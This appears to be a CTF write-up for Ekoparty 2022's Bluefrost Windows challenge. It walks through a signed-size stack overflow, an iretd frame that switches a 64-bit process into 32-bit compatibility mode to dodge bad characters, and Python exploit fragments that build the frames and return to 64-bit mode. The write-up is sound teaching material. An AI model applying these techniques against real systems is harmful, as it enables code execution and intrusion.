Bluefrost windows exploitation challenge for Ekoparty 2022
This challenge was made by @NicolasEconomou for Ekoparty 2022, and I really enjoyed trying to solve that challenge. The challenge is a vulnerable server allowing us to send it data and control the server buffer size leading to a stack buffer overflow. There are some trivial bugs, but they only are a bait for the real way to exploit it, crafted a stack layout for the iret
instruction.
This challenge reserved memory at address 0x10000000
as a buffer used to store data sent by client. In every connection, that buffer is sanatized with pops eax
, pushs eax
and iretd
. Furthermore, the server waits a packet with a header, with a field used as the server buffer size at address 0x10000000
, that field is a signed short type so if I write -1 (0xFFFF)
I’ll can pass the if statement if ( hdr.pkt_size > 0xF00 )
, controlling the size of recv(a1, buf, (unsigned __int16)hdr.pkt_size, 0);
, and lead a buffer overflow stack base in memcpy_with_filters(local_buffer, buf, lena);
.
You can see it here:
pkt_id = hdr.pkt_id;
if ( hdr.pkt_id != 0x54 )
return printf(" [-] Invalid packet type\n");
// signed
if ( hdr.pkt_size > 0xF00 )
return printf(" [-] Invalid packet size\n");
lena = recv(a1, buf, (unsigned __int16)hdr.pkt_size, 0);
printf(" [+] Data received: %i bytes\n", lena);
memcpy_with_filters(buffer, buf, lena);
pkt_id
is a local variable below of local_buffer
in the stack layout, then overflowing local_buffer
I can overwrite in pkt_id
with 0x58
value and trigger:
if ( pkt_id == 0x58 )
{
off_7FF7DC4BC000 = (__int64 (__fastcall *)(_QWORD))&buf[lena];
return off_7FF7DC4BC000(buffer);
}
That call jump to pops eax
, and after execute them the stack layout has my data:
0:000> u
00000000`10000f08 58 pop rax
00000000`10000f09 58 pop rax
00000000`10000f0a 58 pop rax
00000000`10000f0b 58 pop rax
00000000`10000f0c 58 pop rax
00000000`10000f0d 58 pop rax
00000000`10000f0e 58 pop rax
00000000`10000f0f cf iretd
0:000> t;r
00000000`10000f09 58 pop rax
0:000>
00000000`10000f0a 58 pop rax
0:000>
00000000`10000f0b 58 pop rax
0:000>
00000000`10000f0c 58 pop rax
0:000>
00000000`10000f0d 58 pop rax
0:000>
00000000`10000f0e 58 pop rax
0:000>
00000000`10000f0f cf iretd
0:000> dq rsp
00000000`012fe8f0 41414141`41414141 41414141`41414141
00000000`012fe900 41414141`41414141 41414141`41414141
00000000`012fe910 41414141`41414141 41414141`41414141
00000000`012fe920 41414141`41414141 41414141`41414141
00000000`012fe930 41414141`41414141 41414141`41414141
00000000`012fe940 41414141`41414141 41414141`41414141
00000000`012fe950 41414141`41414141 41414141`41414141
00000000`012fe960 41414141`41414141 41414141`41414141
In the beginning, I didn’t understand why the iretd
instruccion was there because I remembered that instruction is used only in CPL=0
. I didn’t find other path to exploit the challenge so I went back to this point again I noticed that I was wrong, so I looked for what iretd
instruction does, and found that is possible to use it in CPL=3
.
AMD manuals says us1:
IRET_PROTECTED:
[...]
POP.v temp_RIP
POP.v temp_CS
POP.v temp_RFLAGS
[...]
IF ((64BIT_MODE) || (changing_CPL))
POP.v temp_RSP // in 64-bit mode or changing CPL, IRET always pops SS:RSP
POP.v temp_SS
Anyway, the instruction is iretd
, not iretq
, so I need to made the layout taking into account that the operand size is 32-bit.
The challenge has badchars, 0x2b
and 0x33
. Those bytes have a sense because 0x33
is the code segment selector in 64-bit mode of OS operation, so the autor’s idea is that my exploit should jump to compatibility mode (32-bit protected-mode). About 0x2b
byte, it is used as a segment selector for DS, ES, and SS registers because its base is NULL, and it’s ignored only in 64-bit mode creating a flat 64-bit linear-address space. For 32-bit, I need to a valid segment selector in SS register like 0x2b
, so Nico forces us to lookup another valid one.
32.1: kd> dg @ss
P Si Gr Pr Lo
Sel Base Limit Type l ze an es ng Flags
---- ----------------- ----------------- ---------- - -- -- -- -- --------
002B 00000000`00000000 00000000`ffffffff Data RW Ac 3 Bg Pg P Nl 00000cf3
A segment selector has an index for the Descriptor Table (GDT/LDT), it contains segment descriptors, and it provides the size and location of the segment2. I dumped GDT but only there are few valid, and an only one that works for an user-mode context execution. I noticed that FS register has 0x53
value, and that segment selector is valid to be used by SS.
Let’s review this:
32.1: kd:x86> r @gdtr
The context is partially valid. Only x86 user-mode context is available.
gdtr=00000000
32.1: kd:x86> !wow64exts.sw
The context is partially valid. Only x86 user-mode context is available.
Switched to Host mode
32.1: kd> r @gdtr
gdtr=ffff890065ff8fb0
32.1: kd> r
rax=000000000000000a rbx=00000000010cc000 rcx=000000007677f2e0
rdx=000000000148040a rsi=0000000001481fa0 rdi=0000000001482940
rip=0000000000e5101b rsp=00000000012ffb20 rbp=00000000012ffb64
r8=000000000000002b r9=00000000776d1dbc r10=0000000000000000
r11=0000000000000246 r12=00000000010cd000 r13=0000000000f1fda0
r14=0000000000f1edd0 r15=0000000077653620
iopl=0 nv up ei pl zr na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
From FS, I can get the index of the global descriptor table.
FS: 0x53
, index 0xa
, GDT: ffff890065ff8fb0
32.1: kd> ? 0x53 >> 3
Evaluate expression: 10 = 00000000`0000000a
32.1: kd> dd ffff890065ff8fb0 + a*8 l2
002b:ffff8900`65ff9000 f0007c00 0140f30c
Segment descriptor is a 8 bytes long as follow
32.1: kd> ? (f0007c00 >> 0n16) | ((0140f30c & 0xFF) << 0n16) | (0140f30c & 0xFF000000)
Evaluate expression: 17625088 = 00000000`010cf000
32.1: kd> ? (f0007c00 & 0xFFFF) | ((0140f30c >> 0n16) & 0xF)
Evaluate expression: 31744 = 00000000`00007c00
32.1: kd> dg @fs
P Si Gr Pr Lo
Sel Base Limit Type l ze an es ng Flags
---- ----------------- ----------------- ---------- - -- -- -- -- --------
0053 00000000`010cf000 00000000`00007c00 Data RW Ac 3 Bg By P Nl 000004f3
Adding whole I said before, made the right layout for the iret
instruction.
ctx_switch_64to32 = [
p32(0x10000000), # RIP
p32(0x23), # CS (switch to x86)
p32(0x246), # EFLAGS
p32(0x10000000 + 0x800), # RSP
p32(0x53) # SS
]
Now, after some tests, I noticed that the best way it’s return to 64-bit mode from compatibility mode (Intel’s manual called IA32-e mode). On Windows exists Wow64 (Windows 32-bit on Windows 64-bit), and it’s an interface where the execution begins from compatibility mode to 64-bit mode through a far jump
.
0:000> u ntdll!NtResumeThread
ntdll!NtResumeThread:
77cf50a0 b852000700 mov eax,70052h
77cf50a5 ba208fd177 mov edx,offset ntdll!Wow64SystemServiceCall (77d18f20)
77cf50aa ffd2 call edx
77cf50ac c20800 ret 8
0:000> u ntdll!Wow64SystemServiceCall l1
ntdll!Wow64SystemServiceCall:
77d18f20 ff2520c2da77 jmp dword ptr [ntdll!Wow64Transition (77dac220)]
0:000> dd 77dac220 l1
77dac220 77c76000
0:000> dt _TEB -y wow
ntdll!_TEB
+0x0c0 WOW32Reserved : Ptr32 Void
+0xfdc WowTebOffset : Int4B0:000> dd fs:[0xC0] l1
0053:000000c0 77c76000
0:000> u 77c76000 l1
77c76000 ea0960c7773300 jmp 0033:77C76009
Then, I can use the far jump
to go back to 64-bit mode and execute my shellcode or use the iret instruction again to return to 64-bit mode, but it’s important to fix the stack segment selector before.
why?
0:000> g;r
(7860.3ea4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=10000000 ecx=c817f888 edx=00000000 esi=00000000 edi=1684c220
eip=10000001 esp=10000800 ebp=00000000 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=0053 ds=002b es=002b fs=0053 gs=002b efl=00010246
10000001 c74424102b000000 mov dword ptr [esp+10h],2Bh ss:0053:10000810=????????
To fix the SS register, only need to move the value 0x2b
to SS and then the exploit can switch to 64-bit.
ctx_switch_32to64_jmp = [
# jmp far 033:address
b'\xea', # jmp far
p32(0x10000000), # address
b'\x33\x00' # CS
]
ctx_switch_32to64_jmp[1] = p32(0x10000000 +
len(b''.join(ctx_switch_64to32)) +
len(b''.join(ctx_switch_32to64_jmp))
)
ctx_switch_32to64_iret = [
##### x86
# fix stack segment
b'\xb8' + p32(0x2b), # mov eax, 2bh
b'\x8e\xd0', # mov ss, ax
b'\x90', # nop
b'\x6a\x2b', # push 2bh
b'\x68' + p32(0x10000000 + 0x800), # push 1000800h
b'\x68' + p32(0x246), # push 46h -> EFLAGS
b'\x6a\x33', # push 33h -> CS
b'\xe8' + p32(0), # call $+5
b'\x83\x04\x24\x05', # add dword ptr [esp], 5 -> EIP: jump to fix_stack_addr
b'\xcf', # iretd
]
pkg += b''.join(ctx_switch_32to64_jmp) if USE_JMPFAR else b''.join(ctx_switch_32to64_iret)
And that’s it. I really enjoy this, because I needed to read the AMD/Intel manuals as my beginnings in RE. You can find my full exploit in my github.
Written by Nox